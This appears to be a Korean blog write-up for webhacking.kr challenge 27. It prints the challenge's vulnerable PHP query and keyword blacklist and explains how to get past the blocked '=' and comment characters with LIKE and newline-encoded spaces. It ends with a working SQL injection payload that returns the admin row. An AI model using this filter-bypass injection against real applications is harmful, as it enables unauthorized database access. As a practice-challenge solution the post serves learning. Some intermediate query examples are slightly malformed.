티스토리 뷰
webhacking.kr 27번 : sql injection
이 문제 거의 2년 정도 걸린거 같다..정말 많이 헷갈렸다..ㅠㅠ
<?
if($_GET[no])
{
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
}
?>
if($_GET[no])
{
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
}
?>
소스코드를 보면 위와 같다.
no 변수에 의해 쿼리의 조작이 가능하다.
# 주석을 막아두고
= 을 막아 두었다.
where 절에서 조건을 선택하기 위해서는 id=1 이런식으로 해야하는데
= 기호를 사용하지 않는 법으로는 like 가 있다
select id from challenge27_table where id='guest' and no=($_GET[no])
select id from challenge27_table where id='guest' and no=(1) // guest
select id from challenge27_table where id='guest' and no=(3) or like 1 -- ) // guest
select id from challenge27_table where id='guest' and no=(3) or like 2 -- ) // admin
%20
이와 같이 나타낼 수 있다.
공백은 여태까지 인젝션을 공부해왔다면 무슨 코드를 입력해야 할 지 알것이다.
no=3)%0aor%0ano%0alike%0a2%0a--